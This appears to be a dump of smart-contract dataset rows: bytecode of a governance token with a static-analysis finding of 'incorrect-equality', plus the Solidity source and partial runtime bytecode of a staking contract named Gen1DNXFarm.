0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea571461025f578063c3cda52014610272578063dd62ed3e14610285578063e7a324dc14610298578063f1127ed8146102a057610121565b806370a08231146101fe578063782d6fe1146102115780637ecebe001461023157806395d89b4114610244578063a9059cbb1461024c57610121565b806323b872dd116100f457806323b872dd14610181578063313ce56714610194578063587cde1e146101a95780635c19a95c146101c95780636fcfff45146101de57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461016457806320606b7014610179575b600080fd5b61012e6102c1565b60405161013b919061139c565b60405180910390f35b61015761015236600461122b565b6102f2565b60405161013b9190611322565b61016c6103af565b60405161013b919061132d565b61016c6103be565b61015761018f3660046111eb565b6103e2565b61019c610525565b60405161013b91906115ee565b6101bc6101b736600461119c565b61052a565b60405161013b919061130e565b6101dc6101d736600461119c565b610545565b005b6101f16101ec36600461119c565b610552565b60405161013b91906115be565b61016c61020c36600461119c565b61056a565b61022461021f36600461122b565b61058e565b60405161013b91906115fc565b61016c61023f36600461119c565b6107a5565b61012e6107b7565b61015761025a36600461122b565b6107d6565b61022461026d36600461119c565b610812565b6101dc610280366004611255565b610883565b61016c6102933660046111b7565b610a96565b61016c610ac8565b6102b36102ae3660046112b4565b610aec565b60405161013b9291906115cf565b6040518060400160405280601581526020017404261736564204c6f616e73204f776e65727368697605c1b81525081565b600080600019831415610308575060001961032d565b61032a8360405180606001604052806025815260200161167660259139610b21565b90505b336000818152602081815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061039b9085906115fc565b60405180910390a360019150505b92915050565b6a52b7d2dcc80cd2e400000081565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6001600160a01b0383166000908152602081815260408083203380855290835281842054825160608101909352602580845291936001600160601b03909116928592610438928892919061167690830139610b21565b9050866001600160a01b0316836001600160a01b03161415801561046557506001600160601b0382811614155b1561050d57600061048f83836040518060600160405280603d815260200161174d603d9139610b50565b6001600160a01b03898116600081815260208181526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906105039085906115fc565b60405180910390a3505b610518878783610b8f565b5060019695505050505050565b601281565b6002602052600090815260409020546001600160a01b031681565b61054f3382610d3a565b50565b60046020526000908152604090205463ffffffff1681565b6001600160a01b03166000908152600160205260409020546001600160601b031690565b60004382106105b85760405162461bcd60e51b81526004016105af9061147b565b60405180910390fd5b6001600160a01b03831660009081526004602052604090205463ffffffff16806105e65760009150506103a9565b6001600160a01b038416600090815260036020908152604080832063ffffffff600019860181168552925290912054168310610662576001600160a01b03841660009081526003602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b031690506103a9565b6001600160a01b038416600090815260036020908152604080832083805290915290205463ffffffff1683101561069d5760009150506103a9565b600060001982015b8163ffffffff168163ffffffff16111561076057600282820363ffffffff160481036106cf61116e565b506001600160a01b038716600090815260036020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b0316918101919091529087141561073b576020015194506103a99350505050565b805163ffffffff1687111561075257819350610759565b6001820392505b50506106a5565b506001600160a01b038516600090815260036020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60056020526000908152604090205481565b60405180604001604052806003815260200162424c4f60e81b81525081565b6000806107fb8360405180606001604052806026815260200161169b60269139610b21565b9050610808338583610b8f565b5060019392505050565b6001600160a01b03811660009081526004602052604081205463ffffffff168061083d57600061087c565b6001600160a01b0383166000908152600360209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03165b9392505050565b60408051808201909152601581527404261736564204c6f616e73204f776e65727368697605c1b60209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667f6ae10a765f7b7a616cc09d7204231b2b108ae830446095a4ab82d40277f78cb56108fc610dc4565b30604051602001610910949392919061135a565b60405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf8888886040516020016109619493929190611336565b6040516020818303038152906040528051906020012090506000828260405160200161098e9291906112f3565b6040516020818303038152906040528051906020012090506000600182888888604051600081526020016040526040516109cb949392919061137e565b6020604051602081039080840390855afa1580156109ed573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610a205760405162461bcd60e51b81526004016105af906113ef565b6001600160a01b03811660009081526005602052604090208054600181019091558914610a5f5760405162461bcd60e51b81526004016105af906114c2565b87421115610a7f5760405162461bcd60e51b81526004016105af90611435565b610a89818b610d3a565b505050505b505050505050565b6001600160a01b039182166000908152602081815260408083209390941682529190915220546001600160601b031690565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b600360209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b600081600160601b8410610b485760405162461bcd60e51b81526004016105af919061139c565b509192915050565b6000836001600160601b0316836001600160601b031611158290610b875760405162461bcd60e51b81526004016105af919061139c565b505050900390565b6001600160a01b038316610bb55760405162461bcd60e51b81526004016105af90611561565b6001600160a01b038216610bdb5760405162461bcd60e51b81526004016105af90611504565b6001600160a01b038316600090815260016020908152604091829020548251606081019093526036808452610c26936001600160601b03909216928592919061164090830139610b50565b6001600160a01b03848116600090815260016020908152604080832080546001600160601b0319166001600160601b03968716179055928616825290829020548251606081019093526030808452610c8e949190911692859290919061171d90830139610dc8565b6001600160a01b038381166000818152600160205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cfb9085906115fc565b60405180910390a36001600160a01b03808416600090815260026020526040808220548584168352912054610d3592918216911683610e04565b505050565b6001600160a01b03808316600081815260026020818152604080842080546001845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4610dbe828483610e04565b50505050565b4690565b6000838301826001600160601b038087169083161015610dfb5760405162461bcd60e51b81526004016105af919061139c565b50949350505050565b816001600160a01b0316836001600160a01b031614158015610e2f57506000816001600160601b0316115b15610d35576001600160a01b03831615610ee7576001600160a01b03831660009081526004602052604081205463ffffffff169081610e6f576000610eae565b6001600160a01b0385166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000610ed582856040518060600160405280602881526020016116f560289139610b50565b9050610ee386848484610f92565b5050505b6001600160a01b03821615610d35576001600160a01b03821660009081526004602052604081205463ffffffff169081610f22576000610f61565b6001600160a01b0384166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000610f88828560405180606001604052806027815260200161178a60279139610dc8565b9050610a8e858484845b6000610fb6436040518060600160405280603481526020016116c160349139611147565b905060008463ffffffff16118015610fff57506001600160a01b038516600090815260036020908152604080832063ffffffff6000198901811685529252909120548282169116145b1561105e576001600160a01b0385166000908152600360209081526040808320600019880163ffffffff168452909152902080546fffffffffffffffffffffffff000000001916600160201b6001600160601b038516021790556110fd565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152600383528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252600490935292909220805460018801909316929091169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051611138929190611610565b60405180910390a25050505050565b600081600160201b8410610b485760405162461bcd60e51b81526004016105af919061139c565b604080518082019091526000808252602082015290565b80356001600160a01b03811681146103a957600080fd5b6000602082840312156111ad578081fd5b61087c8383611185565b600080604083850312156111c9578081fd5b6111d38484611185565b91506111e28460208501611185565b90509250929050565b6000806000606084860312156111ff578081fd5b833561120a8161162a565b9250602084013561121a8161162a565b929592945050506040919091013590565b6000806040838503121561123d578182fd5b6112478484611185565b946020939093013593505050565b60008060008060008060c0878903121561126d578182fd5b6112778888611185565b95506020870135945060408701359350606087013560ff8116811461129a578283fd5b9598949750929560808101359460a0909101359350915050565b600080604083850312156112c6578182fd5b6112d08484611185565b9150602083013563ffffffff811681146112e8578182fd5b809150509250929050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b901515815260200190565b90815260200190565b9384526001600160a01b039290921660208401526040830152606082015260800190565b938452602084019290925260408301526001600160a01b0316606082015260800190565b93845260ff9290921660208401526040830152606082015260800190565b6000602080835283518082850152825b818110156113c8578581018301518582016040015282016113ac565b818111156113d95783604083870101525b50601f01601f1916929092016040019392505050565b60208082526026908201527f436f6d703a3a64656c656761746542795369673a20696e76616c6964207369676040820152656e617475726560d01b606082015260800190565b60208082526026908201527f436f6d703a3a64656c656761746542795369673a207369676e617475726520656040820152651e1c1a5c995960d21b606082015260800190565b60208082526027908201527f436f6d703a3a6765745072696f72566f7465733a206e6f742079657420646574604082015266195c9b5a5b995960ca1b606082015260800190565b60208082526022908201527f436f6d703a3a64656c656761746542795369673a20696e76616c6964206e6f6e604082015261636560f01b606082015260800190565b6020808252603a908201527f436f6d703a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260408201527f616e7366657220746f20746865207a65726f2061646472657373000000000000606082015260800190565b6020808252603c908201527f436f6d703a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260408201527f616e736665722066726f6d20746865207a65726f206164647265737300000000606082015260800190565b63ffffffff91909116815260200190565b63ffffffff9290921682526001600160601b0316602082015260400190565b60ff91909116815260200190565b6001600160601b0391909116815260200190565b6001600160601b0392831681529116602082015260400190565b6001600160a01b038116811461054f57600080fdfe436f6d703a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365436f6d703a3a617070726f76653a20616d6f756e7420657863656564732039362062697473436f6d703a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473436f6d703a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473436f6d703a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773436f6d703a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773436f6d703a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365436f6d703a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773a2646970667358221220757eaef3b8b10d8c38bad20cd1acb7b82ac08964a99aecb13e66bd01b425488964736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 8,437 |
0xe8cbcebd12515af7ef14d1b9d7b9b28bf5a993ee
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath#mul: OVERFLOW");
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath#div: DIVISION_BY_ZERO");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath#sub: UNDERFLOW");
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath#add: OVERFLOW");
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO");
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Gen1DNXFarm is Ownable {
using SafeMath for uint256;
struct StakerInfo {
uint256 amount;
uint256 startStakeTime;
uint256 count;
uint256[] amounts;
uint256[] times;
}
uint256 public stakingStart;
uint256 public stakingEnd;
uint256 public stakingClosed;
uint256 public maximumStakers; // points generated per LP token per second staked
uint256 public currentStakers;
uint256 public minimumStake;
uint256 public stakingFee;
IERC20 dnxcToken; // token being staked
address private _rewardDistributor;
mapping(address => StakerInfo) public stakerInfo;
uint256 internal fee;
bool paused;
bool emergencyUnstake;
constructor(uint256 _minimumStake, uint256 _maximumStakers, uint256 _stakingFee, uint256 _stakingStart, uint256 _stakingClosed, uint256 _stakingEnd, IERC20 _dnxcToken)
{
minimumStake = _minimumStake;
maximumStakers = _maximumStakers;
stakingFee = _stakingFee;
stakingStart = _stakingStart;
stakingClosed = _stakingClosed;
stakingEnd = _stakingEnd;
paused = true;
dnxcToken = _dnxcToken;
_rewardDistributor = address(owner());
}
function changePause(bool _pause) onlyOwner public {
paused = _pause;
}
function changeEmergency(bool _emergencyUnstake) onlyOwner public {
emergencyUnstake = _emergencyUnstake;
}
function changeDistributor(address _address) onlyOwner public {
_rewardDistributor = _address;
}
function changeStakingFees(uint256 _stakingFee) onlyOwner public {
stakingFee = _stakingFee;
}
function changeEndTime(uint256 endTime) public onlyOwner {
stakingEnd = endTime;
}
function changeCloseTime(uint256 closeTime) public onlyOwner {
stakingClosed = closeTime;
}
function changeStartTime(uint256 startTime) public onlyOwner {
stakingStart = startTime;
}
function stake(uint256 _amount) public payable {
require (paused == false, "E09");
require (block.timestamp >= stakingStart, "E07");
require (block.timestamp <= stakingClosed, "E08");
require (currentStakers < maximumStakers, "E09");
require (_amount % minimumStake == 0, 'E10');
StakerInfo storage user = stakerInfo[msg.sender];
require (user.amount.add(_amount) >= minimumStake, "E01");
require (dnxcToken.transferFrom(msg.sender, address(this), _amount), "E02");
uint256 count = _amount.div(minimumStake);
require (msg.value >= stakingFee.mul(count), "E04");
currentStakers = currentStakers.add(count);
if (user.amount == 0) {
user.startStakeTime = block.timestamp;
}
user.amount = user.amount.add(_amount);
user.count = user.count.add(count);
user.amounts.push(user.amount);
user.times.push(block.timestamp);
}
function unstake() public {
require (emergencyUnstake || block.timestamp >= stakingEnd || block.timestamp <= stakingClosed, "E08");
StakerInfo storage user = stakerInfo[msg.sender];
dnxcToken.transfer(
msg.sender,
user.amount
);
currentStakers = currentStakers.sub(user.count);
user.amount = 0;
user.count = 0;
}
function getUsersAmounts(address _user) public view returns (uint256[] memory) {
StakerInfo storage user = stakerInfo[_user];
return user.amounts;
}
function getUsersTimes(address _user) public view returns (uint256[] memory) {
StakerInfo storage user = stakerInfo[_user];
return user.times;
}
function getTimestampOfStartedStaking(address _user) public view returns (uint256) {
StakerInfo storage user = stakerInfo[_user];
return user.startStakeTime;
}
function withdrawFees() onlyOwner external {
require(payable(msg.sender).send(address(this).balance));
}
}
|
0x60806040526004361061014b5760003560e01c80638da5cb5b116100b6578063d771b0a61161006f578063d771b0a614610437578063e26ecafc14610462578063eb954f0c1461048b578063ec5ffac2146104c8578063eff98843146104f3578063f2fde38b1461051e5761014b565b80638da5cb5b14610336578063930ef76c14610361578063a31d7fdf1461039e578063a694fc3a146103c7578063a92ae61f146103e3578063b667c8061461040e5761014b565b80636d02c4fa116101085780636d02c4fa1461023a578063715018a6146102775780637df427a91461028e578063802cd15f146102b95780638aa5b2c3146102e25780638bbc9d111461030b5761014b565b80632def6620146101505780633052b75e14610167578063476343ee146101905780634e745f1f146101a7578063517d0411146101e65780635d4fead314610211575b600080fd5b34801561015c57600080fd5b50610165610547565b005b34801561017357600080fd5b5061018e600480360381019061018991906116a5565b6106dd565b005b34801561019c57600080fd5b506101a5610763565b005b3480156101b357600080fd5b506101ce60048036038101906101c9919061162a565b61081f565b6040516101dd93929190611b90565b60405180910390f35b3480156101f257600080fd5b506101fb610849565b6040516102089190611b75565b60405180910390f35b34801561021d57600080fd5b5061023860048036038101906102339190611653565b61084f565b005b34801561024657600080fd5b50610261600480360381019061025c919061162a565b6108e8565b60405161026e91906119b3565b60405180910390f35b34801561028357600080fd5b5061028c610988565b005b34801561029a57600080fd5b506102a3610a10565b6040516102b09190611b75565b60405180910390f35b3480156102c557600080fd5b506102e060048036038101906102db919061162a565b610a16565b005b3480156102ee57600080fd5b50610309600480360381019061030491906116a5565b610ad6565b005b34801561031757600080fd5b50610320610b5c565b60405161032d9190611b75565b60405180910390f35b34801561034257600080fd5b5061034b610b62565b6040516103589190611938565b60405180910390f35b34801561036d57600080fd5b506103886004803603810190610383919061162a565b610b8b565b6040516103959190611b75565b60405180910390f35b3480156103aa57600080fd5b506103c560048036038101906103c091906116a5565b610bdc565b005b6103e160048036038101906103dc91906116a5565b610c62565b005b3480156103ef57600080fd5b506103f86110a5565b6040516104059190611b75565b60405180910390f35b34801561041a57600080fd5b50610435600480360381019061043091906116a5565b6110ab565b005b34801561044357600080fd5b5061044c611131565b6040516104599190611b75565b60405180910390f35b34801561046e57600080fd5b5061048960048036038101906104849190611653565b611137565b005b34801561049757600080fd5b506104b260048036038101906104ad919061162a565b6111d0565b6040516104bf91906119b3565b60405180910390f35b3480156104d457600080fd5b506104dd611270565b6040516104ea9190611b75565b60405180910390f35b3480156104ff57600080fd5b50610508611276565b6040516105159190611b75565b60405180910390f35b34801561052a57600080fd5b506105456004803603810190610540919061162a565b61127c565b005b600c60019054906101000a900460ff168061056457506002544210155b8061057157506003544211155b6105b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a790611af5565b60405180910390fd5b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3383600001546040518363ffffffff1660e01b815260040161065492919061198a565b602060405180830381600087803b15801561066e57600080fd5b505af1158015610682573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a6919061167c565b506106c0816002015460055461137490919063ffffffff16565b600581905550600081600001819055506000816002018190555050565b6106e56113d3565b73ffffffffffffffffffffffffffffffffffffffff16610703610b62565b73ffffffffffffffffffffffffffffffffffffffff1614610759576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075090611b15565b60405180910390fd5b8060028190555050565b61076b6113d3565b73ffffffffffffffffffffffffffffffffffffffff16610789610b62565b73ffffffffffffffffffffffffffffffffffffffff16146107df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d690611b15565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505061081d57600080fd5b565b600a6020528060005260406000206000915090508060000154908060010154908060020154905083565b60025481565b6108576113d3565b73ffffffffffffffffffffffffffffffffffffffff16610875610b62565b73ffffffffffffffffffffffffffffffffffffffff16146108cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c290611b15565b60405180910390fd5b80600c60006101000a81548160ff02191690831515021790555050565b60606000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060040180548060200260200160405190810160405280929190818152602001828054801561097b57602002820191906000526020600020905b815481526020019060010190808311610967575b5050505050915050919050565b6109906113d3565b73ffffffffffffffffffffffffffffffffffffffff166109ae610b62565b73ffffffffffffffffffffffffffffffffffffffff1614610a04576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109fb90611b15565b60405180910390fd5b610a0e60006113db565b565b60055481565b610a1e6113d3565b73ffffffffffffffffffffffffffffffffffffffff16610a3c610b62565b73ffffffffffffffffffffffffffffffffffffffff1614610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8990611b15565b60405180910390fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610ade6113d3565b73ffffffffffffffffffffffffffffffffffffffff16610afc610b62565b73ffffffffffffffffffffffffffffffffffffffff1614610b52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4990611b15565b60405180910390fd5b8060018190555050565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060010154915050919050565b610be46113d3565b73ffffffffffffffffffffffffffffffffffffffff16610c02610b62565b73ffffffffffffffffffffffffffffffffffffffff1614610c58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4f90611b15565b60405180910390fd5b8060038190555050565b60001515600c60009054906101000a900460ff16151514610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caf906119f5565b60405180910390fd5b600154421015610cfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf490611a55565b60405180910390fd5b600354421115610d42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3990611af5565b60405180910390fd5b60045460055410610d88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7f906119f5565b60405180910390fd5b600060065482610d989190611d6e565b14610dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcf90611a95565b60405180910390fd5b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600654610e3583836000015461149f90919063ffffffff16565b1015610e76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6d906119d5565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401610ed593929190611953565b602060405180830381600087803b158015610eef57600080fd5b505af1158015610f03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f27919061167c565b610f66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5d90611ab5565b60405180910390fd5b6000610f7d600654846114fd90919063ffffffff16565b9050610f948160075461155b90919063ffffffff16565b341015610fd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fcd90611ad5565b60405180910390fd5b610feb8160055461149f90919063ffffffff16565b600581905550600082600001541415611008574282600101819055505b61101f83836000015461149f90919063ffffffff16565b826000018190555061103e81836002015461149f90919063ffffffff16565b8260020181905550816003018260000154908060018154018082558091505060019003906000526020600020016000909190919091505581600401429080600181540180825580915050600190039060005260206000200160009091909190915055505050565b60035481565b6110b36113d3565b73ffffffffffffffffffffffffffffffffffffffff166110d1610b62565b73ffffffffffffffffffffffffffffffffffffffff1614611127576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111e90611b15565b60405180910390fd5b8060078190555050565b60015481565b61113f6113d3565b73ffffffffffffffffffffffffffffffffffffffff1661115d610b62565b73ffffffffffffffffffffffffffffffffffffffff16146111b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111aa90611b15565b60405180910390fd5b80600c60016101000a81548160ff02191690831515021790555050565b60606000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060030180548060200260200160405190810160405280929190818152602001828054801561126357602002820191906000526020600020905b81548152602001906001019080831161124f575b5050505050915050919050565b60065481565b60075481565b6112846113d3565b73ffffffffffffffffffffffffffffffffffffffff166112a2610b62565b73ffffffffffffffffffffffffffffffffffffffff16146112f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ef90611b15565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611368576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135f90611a15565b60405180910390fd5b611371816113db565b50565b6000828211156113b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b090611a35565b60405180910390fd5b600082846113c79190611cf2565b90508091505092915050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008082846114ae9190611c11565b9050838110156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea90611b55565b60405180910390fd5b8091505092915050565b6000808211611541576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153890611b35565b60405180910390fd5b6000828461154f9190611c67565b90508091505092915050565b60008083141561156e57600090506115d0565b6000828461157c9190611c98565b905082848261158b9190611c67565b146115cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c290611a75565b60405180910390fd5b809150505b92915050565b6000813590506115e581612038565b92915050565b6000813590506115fa8161204f565b92915050565b60008151905061160f8161204f565b92915050565b60008135905061162481612066565b92915050565b60006020828403121561163c57600080fd5b600061164a848285016115d6565b91505092915050565b60006020828403121561166557600080fd5b6000611673848285016115eb565b91505092915050565b60006020828403121561168e57600080fd5b600061169c84828501611600565b91505092915050565b6000602082840312156116b757600080fd5b60006116c584828501611615565b91505092915050565b60006116da838361191a565b60208301905092915050565b6116ef81611d26565b82525050565b600061170082611bd7565b61170a8185611bef565b935061171583611bc7565b8060005b8381101561174657815161172d88826116ce565b975061173883611be2565b925050600181019050611719565b5085935050505092915050565b6000611760600383611c00565b915061176b82611dfd565b602082019050919050565b6000611783600383611c00565b915061178e82611e26565b602082019050919050565b60006117a6602683611c00565b91506117b182611e4f565b604082019050919050565b60006117c9601783611c00565b91506117d482611e9e565b602082019050919050565b60006117ec600383611c00565b91506117f782611ec7565b602082019050919050565b600061180f601683611c00565b915061181a82611ef0565b602082019050919050565b6000611832600383611c00565b915061183d82611f19565b602082019050919050565b6000611855600383611c00565b915061186082611f42565b602082019050919050565b6000611878600383611c00565b915061188382611f6b565b602082019050919050565b600061189b600383611c00565b91506118a682611f94565b602082019050919050565b60006118be602083611c00565b91506118c982611fbd565b602082019050919050565b60006118e1601e83611c00565b91506118ec82611fe6565b602082019050919050565b6000611904601683611c00565b915061190f8261200f565b602082019050919050565b61192381611d64565b